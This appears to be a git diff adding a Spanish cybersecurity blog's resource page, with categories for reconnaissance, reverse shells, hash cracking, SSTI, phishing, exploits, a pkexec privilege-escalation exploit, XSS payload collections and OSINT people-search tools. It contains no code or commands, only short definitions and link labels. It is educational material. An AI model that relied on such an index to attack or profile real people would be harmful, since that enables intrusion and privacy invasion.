+ + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + +
    +
    +

    +
    + + + + + + + + + +

    Cursos

    + + + + +

    Artículos

    + + + +

    Herramientas y Scripts

    + +

    Reporte y reconocimiento:

    +

    Herramientas útiles para la fase de reconocimiento, como reportes de SO y versiones o recopilación de puertos.

    + + + +

    Control remoto de Equipos y Shells Inversas:

    +

    Programas y herramientas para crear accesos remotos y shells inversas con otros equipos.

    + + + +

    Proxies y Analizadores de Tráfico:

    + + + +

    Hash:

    +

    Herramientas de reconocimiento y desencriptación de hash.

    + + + +

    Codificación:

    +

    La codificación es el proceso de conversión de los componentes de un mensaje para que este no sea entendido. Las reglas de transformación entre un sistema y otro +van a estar definidas para poder entender el contenido del mensaje. A diferencia del cifrado, la codificación se basa en alterar la semántica del mensaje, lo +que está relacionado con el significado del mensaje.

    + + + +

    Cifrados

    +

    El cifrado se basa en aplicar un algoritmo que suele utilizar una clave para transformar la estructura y composición de la información que se pretende proteger, de tal +manera que si es interceptada por un tercero no la pueda entender. Cuando nos referimos a cifrar un mensaje, tiene que ver con ocultar la información basándose en la +sintaxis del mensaje, es decir, alterando los símbolos que lo componen.

    + +

    SSTI –> Server Side Template Injection.

    +

    Traducido al español, el SSTI son las siglas de Inyección de plantillas del lado del Servidor. SSTI es una vulnerabilidad que aprovecha una implementación +insegura de un motor de plantillas (template engine). Los motores de plantilla son empleados por las aplicaciones web para la presentación de datos dinámicos.

    + +
      +
    • Más información sobre injecciones SSTI –> Link
    • +
    • Injecciones SSTI enfocado en NoseJS –> Link
    • +
    + +

    Fuzzing

    +

    Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o +aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o +para encontrar potenciales filtraciones de memoria.

    + + + +

    Phishing

    +

    Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima, ganándose su confianza, haciéndose +pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza.

    + + + +

    Exploits

    + +

    Un exploit es una pieza de software, un fragmento de datos o una secuencia de comandos que aprovecha un error o una vulnerabilidad para provocar +un comportamiento no deseado o imprevisto en el software, el hardware o algo electrónico de la computadora. Tal comportamiento frecuentemente +incluye cosas como obtener el control de un sistema informático, permitir la escalada de privilegios o un ataque de denegación de servicio.

    + + + +

    WordPress

    +

    Escaneo de vulnerabilidades en páginas WordPress.

    + + + +

    SQL

    + + + + +

    OSINT

    + +

    Se llama OSINT a una serie de procesos que tienen como misión hacer uso de fuentes de carácter público para poder buscar y recopilar toda la información +pública posible sobre un objetivo en concreto (sea persona o no) con el fin de poder interpretar esa información y darle una utilidad.

    + +
      +
    • +

      OSINT Framework: Como tal no es una herramienta a la que le demos unos datos y nos devuelva más información, más que eso es un repositorio, uno de los más grandes en este tema, donde recopila la mayoría de las herramientas para OSINT y las categoriza dependiendo su uso, la mayoría de las herramientas que nombraremos a continuación están en este repositorio.

      +
    • +
    • +

      Sherlock: Una de las herramientas de OSINT más conocida hoy en día, nos permite buscar, a partir de un nombre de usuario, sus posibles redes sociales.

      +
    • +
    • +

      Phoneinfoga: Nos dará información partiendo de un número telefónico, como, por ejemplo, el país, la compañía, etc.

      +
    • +
    • +

      Have I Been Pwned: Nos permite, a partir de un correo electrónico, saber si hay una cuenta creada con ese correo cuyas credenciales se hayan filtrado.

      +
    • +
    • +

      Thatsthem: Nos permite buscar a personas a partir de su correo electrónico.

      +
    • +
    • +

      FOCA: Nos permite extraer metadatos de un fichero o, extraer ficheros de un sitio web para luego extraer sus metadatos.

      +
    • +
    • +

      Pimeyes: Busca información a través del reconocimiento facial de una imagen.

      +
    • +
    + +

    Escalada de Privilegios en Linux:

    + + + +

    Links de Interés:

    + +
      +
    • Principales puertos TCP y UDP –> Link
    • +
    • EXPLOIT de Escalada de Privilegios Vulnerando pkexec –> Link
    • +
    • Páginas para Codificar o Descodificar código en Base64 –> Link
    • +
    • Páginas para Inyección de Cargas Útiles XSS –> Link
    • +
    • Recopilación de Payloads y todo tipo de inyecciones –> Link
    • +
    • Recopilación de herramientas OSINT –> Link
    • +
    • Como instalar Ghidra en Linux –> Link
    • +
    + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + diff --git a/robots.txt b/robots.txt new file mode 100644 index 00000000000..96798f4b8cd --- /dev/null +++ b/robots.txt @@ -0,0 +1,13 @@ +User-Agent: * + +Disallow: +Disallow: /cgi-bin/ +Disallow: /.github/ +Disallow: /_sass/ +Disallow: /assets/ +Disallow: /script/ +Disallow: /js/ +Sitemap: https://f1r0x.github.io/sitemap.xml + + + diff --git a/script/bootstrap b/script/bootstrap old mode 100755 new mode 100644 diff --git a/script/cibuild b/script/cibuild old mode 100755 new mode 100644 diff --git a/script/release b/script/release old mode 100755 new mode 100644 diff --git a/script/validate-html b/script/validate-html old mode 100755 new mode 100644 diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 00000000000..a997c3200f5 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,9 @@ + + + + http://f1r0x.github.io/Web/2022-07-7 13:17 + http://f1r0x.github.io/2022-07-7 13:17 + http://f1r0x.github.io/portada.html2022-07-7 13:17 + http://f1r0x.github.io/index.html2022-07-7 13:17 + + diff --git a/thumbnail.png b/thumbnail.png deleted file mode 100644 index 01bd0a8ee3c..00000000000 Binary files a/thumbnail.png and /dev/null differ